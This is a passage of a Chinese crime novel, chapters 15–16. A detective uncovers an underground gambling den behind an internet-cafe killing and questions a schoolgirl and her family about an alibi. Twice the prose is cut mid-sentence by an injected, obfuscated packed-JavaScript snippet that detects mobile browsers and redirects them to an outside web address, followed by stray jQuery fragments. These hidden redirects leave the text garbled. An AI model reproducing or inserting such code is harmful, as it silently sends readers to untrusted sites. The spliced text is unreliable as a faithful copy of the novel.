“死者的死因是外力击打导致的脑损伤,也就是说,死者很可能不是当场死亡。”
程晓蔓说着,翻开另一张照片,“头部伤痕与你们使用的钢管形状一致,现已确定,就是这道致命伤。”
谈笑的脸色倏然变了。
“还有,在案发现场附近发现了这个。”
程晓蔓拿出证物袋,里面是个沾满血的钱包,男士款式,“上面检测出了死者的血迹和你朋友的指纹。是死者的钱包吧?”
谈笑低下眼睛,沉默不语。
“这小王八蛋,到这时候了,还想着怎么狡辩呢。”
玻璃窗外,李成植在桌上烟灰缸里摁灭了烟,喃喃自语道。
“这种小混混不都这样吗,满嘴谎话,一肚子坏水。”
声音来自身边的同事,韩磊,上个月刚从长虹区分局调来的的副队长,李成植曾经的老搭档。
“这小子三进宫了,该不该招、什么时候招、招点什么,都琢磨出经验来了。现在他肯定在想,该怎么往其他几个身上推。”李成植掏出烟盒,“来一根?”
韩磊摆摆手,“不了不了,那四个都要烟,我各陪了一根,嗓子吃不消。”
“都问完了?”李成植问。
“粗审了一遍,跟这小子说得大差不差,看到证据没法抵赖,就说只是教训一下他偷东西,没想杀人。老李,”
韩磊看向他,问道,“算过失还是……”
“说不准,我总感觉他们的动机怪怪的。”李成植沉吟着,说道:“分开审,用不了半天,就会有人漏口风。”
韩磊:“交给我吧,你知道,对付这种人我很有经验。况且和写报告相比,我宁可干这个,哈哈。”
李成植苦笑着拍了拍他的肩,“报告先我不急着写,去一趟飞天网吧回来再说。”
“那儿还有什么疑点吗?”
“光靠这么个小网吧,可供不起这几尊佛。”
李成植拿出手机,给何骐发了条短信喊他出来,接着道,“网吧里可能还有别的‘货’。”
15. 地下赌场
来到案发地的巷子口附近,李成植将车停在路边,与何骐步行到飞天网吧。
网吧门口贴着一张时间表,显示营业时间为下午3点至次日凌晨5点。
此刻处于该时段内,然而因为营业员被杀、老板等一众股东都是嫌疑人,网吧的铁门紧闭,看起来很是萧条。
何骐拿出钥匙开门,一股隔夜的烟味和汗臭味扑鼻而来,呛得他皱起眉头,赶忙去摸门边的电灯开关。摁了几下毫无反应,他望向李成植:“师父,好像跳闸了。”
李成植掏出手机,打开手电筒,走了进去:“不要紧,看看再说。”
这是一家老式网吧,同时运行大量高功耗设备,且这栋建筑已超二十年,基础设施落后,线路老化,多种原因导致电路跳闸是常有的事。
店内共有32个座位,构成两排式面对面布局,每个座位用三合板隔开,各配一台电脑。
手电筒的光照向每张桌面,基本都能看见被烟头烫过的痕迹,有些还残留着烟蒂和卷成一团的卫生纸。
李成植举着手机缓步前进,视线在号码牌上一一略过。
他在10号桌旁停了下来。这张桌面跟其他的好像不太一样。
李成植弯下腰,将手电筒靠得近些。
他发现,这张桌子比其他所有的都干净得多,没有烟蒂,就连灰尘都几乎看不见。
就像每天都有人特地打扫似的。
奇怪。他嘀咕了一句。
身后忽然传来何骐的声音:“师父,这有地下室。”
“来了。”李成植站起身,快步走过去。
穿过狭窄的楼道,二人面前是一扇紧闭的房门,插销上挂着把锁。
“有钥匙吗?”
“没。”
“那撞吧。”
随着“咚”的一声,插销被撞断,房门应声而开。
“我的妈呀……”
看着手电筒照亮的屋内状况,何骐不禁瞪直了眼,“还有意外收获……”
李成植拿着手机往楼梯上走了几步,确认信号恢复四格后,拨了韩磊的电话。
“喂老韩,你还在审吧?嗯,我们有新发现,这网吧涉赌。”
“对,你往这个方向问……我猜测死者不是因为偷东西这么简单被打的,很可能跟赌场有关。”
“有事再联络。”
放下手机,李成植走回地下室。
这是间五十平左右的密室,比楼上网吧还要大一圈,地上铺有深咖色条纹的地毯。
正中间是一张可以坐下十个人的长桌,桌面散落着纸牌和圆形筹码。
一个酒吧样式的条形吧台安置在桌旁,后面的壁橱上放着各式各样的酒瓶,有些已经空了。李成植不喝酒也不认识酒的品牌,但那些鬼画符似的英文标签,足以暗示其价格不菲。
他还注意到,地面上有几个碎掉的空酒瓶,玻璃渣崩的到处都是。
“师父,您来看看。”
李成植走过去,顺着何骐手电打的光圈,他看到牌桌一角散落着许多筹码,还有几张百元大钞被压在椅子下面。
环顾四周,好几张皮椅都散架了,歪斜着倒在地上。
跟这家地下赌场精致奢华的做派相比,显得很突兀。
“这好像发生过打斗……?”何骐喃喃道。
“就是昨天晚上的事,”
李成植抬起脚尖,踢了踢碎的只剩半拉的酒瓶,“酒味还没散干净。”
如果金振宇被群殴不是因为偷东西,而是因为他导致赌局崩坏,或者这场斗争就由他引起……
那就说得通了。
想到这,他直起身:“走,回局里喊人来查封。”
二人走上楼梯,穿过电脑桌之间的甬道时,李成植的电话响了。
是韩磊打来的。
“老李,被你说中了,这几个臭小子一听说我们发现了地下赌场,直接就招了。”电话那头,韩磊语速飞快。
“谈笑也招了?”
“对,没得辩了,就说不是他动的手,是其他四个人干的,他只起了个头。”
“猜到了,现场没有监控,他肯定会想尽办法推脱。其他人怎么说?”
“狗咬狗咯,互相指证是其他人下手重打死的,总之没人认。”
“有说为什么要打金振宇吗?”
“赌场突然断电乱了套,很多赌博客趁机拿了押金和赌注跑路,负责管理的金振宇不在岗位,也没去修电闸,等人都跑光了,谈笑他们才在厕所里找到他。”
“厕所?”
“对,还是女厕。”韩磊发出嘲弄的笑声,“所以谈笑才那么生气,把人拖到巷子里群殴。”
“金振宇有没有解释原因?”
“他说有人约他在厕所见面,但是把门反锁了,他出不去。其他人都认为他在狡辩,其实是躲在里面□□,因为金振宇有骚扰顾客的前科,也多次表示过想找小姐但兜里没钱。”
“这样啊……”李成植陷入沉思。
“这点应该是真的,几个人证词几乎一样,没有串供的机会。”
“可他们之前都咬定金振宇是因为盗窃才挨打?”
“这个也招了,谈笑早就跟他们约定好:如果被打的或路人报警,警方问起来,就说成偷东西,省得麻烦。”
“他们担心赌场被警方发现。”李成植说。
“是这样没错,但现在都暴露了。对了,小程把死者的档案整理好了,等会儿她直接发到你手机上,我已经看过了,”说着,韩磊停顿了一下,接着道:“里面有个东西,你说不定会在意。”
李成植:“是什么?”
“你自己看吧。”
挂了电话,何骐在卷帘门旁向他示意:“我去开车,您在这等我一下。”
李成植应了一声,倚靠柜台站着,一边环视昏暗的室内环境,一边在脑子里思考回去之后要写的报告内容。
他看了眼手机,程晓蔓的短信还没收到,可能是文件内容较大,传输速度降低。
忽然,他灵机一动,想到还有个地方没查。
柜台后面有一间杂物室,推开杂物室的门,电箱正挂在墙边。
这是一座老式电箱,看起来跟这栋建筑是相同时代的产物。
电箱整体被铁盒包裹,盒子表面大部分已经锈蚀,内部装有机械式电表,通过转盘的转动计量用电,旁边的指示灯熄灭,表明整个线路此刻处于断电状态。
李成植将手电向下移动,照亮了位于底座的开关电器和保险丝。
这种老式电箱一般采用插入式保险丝,也就是俗称的“开放式保险”,熔丝由一段金属丝固定在螺丝间,熔断时需手动更换。
果不其然,金属丝之间的熔丝已经断开,看来这就是昨晚网吧跳闸的原因。
当李成植的视线落到熔丝的断口处时,他皱起了眉头。
一般情况下,保险丝熔断后,因表面张力的原因,两端残留的熔丝可能收缩成金属小球,底座或螺丝周围也会出现黑色烧焦痕迹。
但眼前这根熔丝仍保持金属原色,并没有氧化痕迹,周围也没有高温烧焦或熔渣。
真奇怪,会有这种情况吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944435|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李成植陷入沉思。
上学时,他的理工科成绩普通,对这种需要一些物理知识来解释的生活现象,他几乎没有概念。
这时,手机响了。
李成植打开一看,屏幕上显示来自程晓蔓的信息,写着如下内容——
【李队,我跟金振宇的家人联系上了,他父母在上海打工,会乘最近一班火车赶过来。】
【死者档案已整理好,一并发送。】
随之传过来的,是一份电子文件。
李成植点开文件,匆匆浏览了一遍。他记着刚刚韩磊通话里说的,“令他在意”的东西,感到很好奇。
很快,他翻动页面的手指停了下来,落在该页的最后几行字上:
【2010年1月29日,与另三人实施抢劫,导致受害人心脏病发死亡。】
【金某被判有期徒刑2年6个月,羁押于榆州市未成年犯管教所,业已释放。】
【该案记录为‘129建业路未成年过失杀人案’。】
***
“李警官?”
听到有人喊自己,李成植从记忆中回过神。
面前站着一个身穿蓝白色校服的女学生,正微微仰头望向他。
一年多没见,她似乎没什么变化,但也许是增强了体育锻炼的原因,她的脸色比以前红润一些,胳膊和小腿也更加结实有力。
“好久不见。”女学生向李成植微笑着打招呼。
“是啊,上次见面你还是初中生,现在已经顺利考上榆中了,怎么样,高中生活还习惯吗?”
“都挺好的。”
说着,女生转向站在几步外的一个丸子头女生,说道:“怡宁,你先回去吧,我有事情要等一会。”
丸子头女生好奇地打量了李成植一眼,然后转身回到馆内,看起来是她的朋友。
两边都是来来往往学生,说话很不方便,二人便沿着林荫道向后山的方向走去。
“您呢,工作还顺利吗?”女生边走边问道。
“老样子,警察嘛,就整天跟犯罪分子勾心斗角个没完呗。”
“听我表哥说,您现在是市公安局刑侦一队队长,真厉害。”
李成植回忆起来,她的表哥跟自己是同行,在长虹区某个派出所工作,便答道:“哪里,混口饭吃而已。我这把年纪也没什么特长了,不像你们还年轻,是充满希望的未来之星啊。”
女生脸上浮现出含蓄的笑意,顿了一会后,她问道:“李警官这次来找我,是有什么事吗?”
“嗯,也不算很重要的事。”
李成植露出苦笑,抓了抓后脑勺:“周六晚上发生了一起恶性案件。”
女生抬起头,表情变得严肃起来。
“有个男的,小混混,在长虹三中旁边的网吧门口被人用钢管打死了。”
“是……杀人案?”
“没错,而且嫌疑人已经被抓到了,共有五个人。”李成植说,“这么多,很夸张吧。”
“都是些什么人?”女孩担忧地问,“为什么做出这么可怕的事?”
“嫌疑人也是一群小混混,跟死者算是同事吧,因为工作纠纷的关系,拿钢管群殴了死者,直接导致死者死亡。”
女生沉默了,似乎是在思索这个李成植简单的话语中蕴藏的信息。
“可是……”她再度开口,语气略带疑惑,“您为什么会专程来告诉我呢?”
“死者叫金振宇。”
李成植停住脚步,回头注视着她的反应,“我想,你应该记得这个名字。”
16. 不在场证明
刹那间,女生的眼睛睁得滚圆,表情失去了平衡:“是……是那个人?”
“没错,”李成植点了点头,“是你母亲案子的嫌犯之一。”
女生没有接话,陷入了沉默。
过了一会,她低着头,声音听起来很苦涩:“谢谢您专程来告诉我。不过对我来说,已经没有意义了。”
“为什么这么说?”
“您认为他得到惩罚了吗,如果只是从法律的层面?”
“法院已经判了两年六个月的有期徒刑。”
“真的……够吗?”
女生提出的问题十分犀利,令李成植一时难以正面回答,只得叹了口气。
“在杀人的罪责面前,他只承受了不到千分之一的惩罚,出狱后也没有洗心革面重新做人,那不就证明,对他的惩罚其实没有意义吗?”
看到她的状态,李成植有些犹豫。但他还是下定了决心,开口道:“这个话题不谈了,我今天来,还有些事要问你一下。”
“您请说。”
“这周六晚上九点到十点之间,你在哪里?”
听到这个问题,女生倏然抬起头,满眼都是不可置信:“您为什么这么问?难道是怀疑我吗?”
她的反应在李成植的预料之中,很少有人在面对警方提出疑似不在场证明的问询时能保持冷静,何况她还只是个未成年的高中生。
“你不要害怕,就是走个流程,”李成植耐心地解释道,“如果同一案件的两名嫌犯出狱后先后死亡,在递交结案报告时会受到质疑,所以为了以防万一,我们要把所有材料都备齐。”
“哦,是这样……”女生垂下眼帘。
李成植担心她有心结,又安慰道:“案件已经基本定性了,如果没有意外,会以聚众斗殴致死结案。就像我刚刚说的,我们只是需要走完流程,产出报告就行。”
女生露出会意的表情,轻声说道:“我在家里,跟家里人一起看电视。”
“九点钟还看电视吗?”
李成植感到意外,他原以为,按照目前国内的高压教育环境,高中生放学回到家都有写不完的作业,没有多少娱乐休闲的时间。特别是这种好学校的尖子班学生,竞争更加激烈残酷。
“是的,因为周六晚上有比赛,世界体操锦标赛女子全能决赛,我们就一起看了。”
“‘我们’,是你的姑妈姑父吗?”
“不,姑妈和姑父周六晚上都不在家,是我跟表哥看的。”
“原来如此。”李成植点点头,同时从口袋里掏出了那本旧笔记本,“是从几点开始的?”
“八点,到十点结束。”
“然后呢?就回去休息了?”
“是的,那天下午我有体育活动课,很累,所以睡得早。”
李成植再次点头,将刚刚的对话记录下来,说道:“你涉猎很广泛啊,又是网球又是体操,以后打算发展体育特长吗?”
“只是喜欢看罢了,充其量算兴趣爱好。”
李成植收起笔记本,想了想,又饶有兴致地问了一句:“那场比赛精彩吗?中国队有没有拿奖牌?”
“很精彩,冠军是美国队,中国队没获奖。”
“哦,可惜。”李成植说,转头望向已经走出去快200米的体育馆,那里正有大批的学生往外走,很多人身上还背着书包。
“他们怎么出来了?”李成植指着那群学生,问道。
“快下课了,他们准备直接去校门口赶校车,不回教室了。”
“你过会儿是不是也要回家?也坐校车?”
“嗯。”
“那我送你回去吧,刚好我开了车。”李成植拍了拍裤子口袋,那里面放着公车钥匙,“而且,我也想看看你姑姑和姑父,也是一年多没见过面了。”
那一瞬间——出于多年警察的直觉,也可能是错觉——身旁的女生的表情似乎僵住了。
但眨眼后,这感觉便像泡沫般消失了。
女生露出了一如既往的,含蓄的笑容,轻轻点了点头:“好的,那麻烦您了。”
四十分钟后,他们来到了位于长虹区245号的汇芳家园小区。
地址跟上次来时一样,从二号楼的门洞里进入后,向上走到301室。
李成植一边爬楼,一边问道:“家里现在几个人啊?”
“姑姑姑父应该已经到家了,表哥可能还在路上。”女生拿出钥匙,插入门锁。
随着咯吱一声,房门打开了,里面亮着灯,客厅传来电视播放综艺节目的声音。
“回来了?”与客厅反方向的厨房里,有人高声说道,“去麻将馆,老板娘打电话来说送节礼,有二十个肉包子,你赶紧去拿回来,昊俊等着吃呢。”
“姑妈。”女生站在门边,“有客人来。”
“啊?”
厨房传来脚步声,很快出现了一个中年女人的面孔,李成植记得,这是上次给他开门的那个。
“哦你是……”中年女人说着,很快便因为想不起对方的姓氏,表情变得尴尬起来。
“是李警官,去年来过的。”女生提醒道。
“哦对对对,瞧我这记性!您快请进。”
李成植脱下鞋子,换上对方拿来的拖鞋,寒暄了几句进入屋内。
客厅里的电视关掉了,有个秃顶的中年男人从沙发上起身,向他打招呼。
“是准备吃晚饭了吧?不好意思,在这时候打扰。”李成植注意到,餐厅的桌上已经摆好了三菜一汤,以及四个空碗。
“哪里的话,我们高兴还来不及呢,这都多久没见了。”
姑妈客套着,把盛了茶水的杯子放在茶几上,见对方抬着头四处打量,便将视线投向了站在一旁的女生。
李成植明白她的意思,主动说道:“其实也没有别的事,就是有些情况想了解一下。”
“没问题,您尽管说。”话虽如此,姑妈脸上依然满是疑惑。
“听曲南星说,两位周六晚上都不在家?”
“是啊……有什么问题吗?”
这个问题明显让她更加困惑了。
“没什么,就是问问情况。两位去哪里了,大概多长时间,方便说一下吗?”
“我俩打麻将去了,下午吃完饭出门,第二天早上回来。”
“打了个通宵吗?”
“啊对,我们每周六晚上都会去打麻将,好几个朋友都约好了。”
“是附近的麻将馆吗?开在小区里面?”
“不不不,附近没有麻将馆,在古城路那边,走过去大概四十分钟。”
“原来如此。”
想到进门时姑妈的吩咐,李成植不由得将视线转向女生,她正安静地坐在角落的单人椅上。
可怜的孩子,跟去年一样。他心中生起一阵同情。
“那个……”姑妈的语气透着不安,“为什么问我们这个?”
这时,玄关处传来钥匙转动的声音。门再一次被打开,有人走进来。
李成植站起身。
“是我儿子,陈昊俊。昊俊啊快打招呼,这位是李警官。”
进来的是个二十五岁上下的年轻男人,他体格偏胖,长相普通,穿着短袖衬衫和西装裤,手上拿着一个公文包。
听到李成植的职业时,男人露出了惊讶的表情,随即将视线转向坐在角落里的女生。
这个下意识的举动令李成植感到奇怪。
“你好,免贵姓李,咱俩应该算是同行。”李成植向他伸出了右手。
男人似乎有些紧张,他先试图用拿着公文包的手去接,发现不对后,又连忙换成了左手。
“你,你好。”
握手后,他木在那里一言不发。
李成植暂且理解为是下班时间遇到领导的手足无措,就算是非直属的也够呛,这一点,他年轻时深谙其道。
“既然人来齐了,我就直接明说了吧,这次打扰各位,主要是因为一起案件。”
“什么案件?”女生之外的屋内其他三人异口同声道。
李成植将上周六发生的□□群殴致死案向他们讲述了一遍,省略了细节,并在最后说明,死者为129案件的四名案犯之一。
“但是……□□斗殴为什么要问我们周六在哪?”姑妈提出了理所当然的疑惑。
“因为另一名案犯也在近期死亡——就是去年冬天的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944436|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以要把所有可能性排查清楚,这也是为了写报告考虑,麻烦各位了。”
“哎呀没关系,反正咱们没犯事,不怕问。”姑妈的脸色终于放松下来。
李成植拿出纸笔,向表哥问道:“周六晚上九点到十点半之间,你在做什么?”
听到这个问题,男人睁大了眼睛。
“看,看电视。”卡壳了两秒钟后,他像回过神来似的,有些紧张地答道,“看体操世锦赛。”
“是独自看的吗?”
“不是,”他看向女生,“跟我表妹一起看的。”
证言契合了。李成植点点头,“那么,你们全程都在一起吗?”
“是的,我们一直看到比赛结束。”
“比赛几点结束?”
“十一点。”
“那就没有什么问题了。”李成植将笔记本塞回口袋,拍了拍表哥的肩膀,“我说了没什么事,不必紧张。”
“啊……”对方咧了咧嘴,表情有点僵硬,大概是生平第一次接受案件询问,感到恐慌也合情合理。
访问到这里就结束了,李成植向这家人告辞,走到门边准备离开。
姑妈不顾劝阻,执意帮他从鞋柜里拿脱下的鞋子,等到李成植弯腰系鞋带时,在旁边说道:“李警官啊,我想打听个事儿,您方便不?”
“不用客气,请直说。”
“派出所辅警能不能调任到市局啊?或者不用市局,区分局也行。”
说着,她把缩在边上的儿子抓了过来,“您看我儿子,有机会不?”
李成植站起身,心里多少明白了点,“他是辅警?”
“对啊,我们觉得没什么发展前途,正发愁呢。您是市局领导,办法多,能不能帮忙照应照应?”姑妈的眼睛都亮了起来,“那咱家可真太感谢了!”
李成植坦言道,“比较困难,辅警跟民警的晋升机制不一样。但是……”
他指了指玄关的摆件,那上面有一个相框,是这一家三口的合照。
照片里,三人比出耶的手势,旁边立着刻有“榆州市警官学院”字样的石墩,看样子是在校门口拍的。
“他是榆警毕业的吧?跟我是校友,真巧啊。”
姑妈愣了一下,没接话。
“可以参加每年的事业单位统一招聘,榆警有很多名额。”李成植说,“让他尝试着考考看。”
屋内三人的表情都发生了变化,似乎李成植的话点燃了某根他看不见的引线。
“那个,我儿子不是这学校毕业的。”姑妈显得很尴尬,眼神躲开了,“他大专,只是在那边培训。”
“啊……抱歉,我理解错了。”李成植也很尴尬。
此地不宜久留,说再多只会让气氛更尴尬,李成植匆匆道了句再见。
“我送送您。”女生不知何时来到了门边,说道。
“不用了,就不打扰你们吃晚饭了。”
李成植关上门,向楼下走去。
秋天太阳落山的早,六点半左右,天就全黑了。
李成植环顾四周,小区里的路灯都亮了起来,是时候该回去了。
一边走着,他在脑子里把案件整个捋了一遍,认为除了群殴致人死亡之外,没有其他的解释,等明天跟受害人家属谈过之后,就该结案了。
比起案件本身,李成植更放心不下的,是那个寄人篱下的孩子。
不知道她吃上饭没?该不会还要先去麻将馆拿包子吧?想着想着,李成植不禁回过头,远远望向2号楼的位置。
从这个角度,理论上能看见三楼房间透出的灯光。
他的脚步停住了。
三楼,301次卧的位置,没开灯。
他再度确认,没错,就是那女生住的房间。此刻,窗户上漆黑一片,看不见室内的情况。
可是他明明记得,刚来的时候,那个房间是亮着灯的。
没道理他一走就把灯关了,如果因为吃饭不去房间的话,那早就应该关掉了,而且现在还是晚上。
李成植脑海里浮现出一种想象,这个想法令他生起不祥的预感,整个人顿在原地:
有人关了灯,在窗户后面看着他。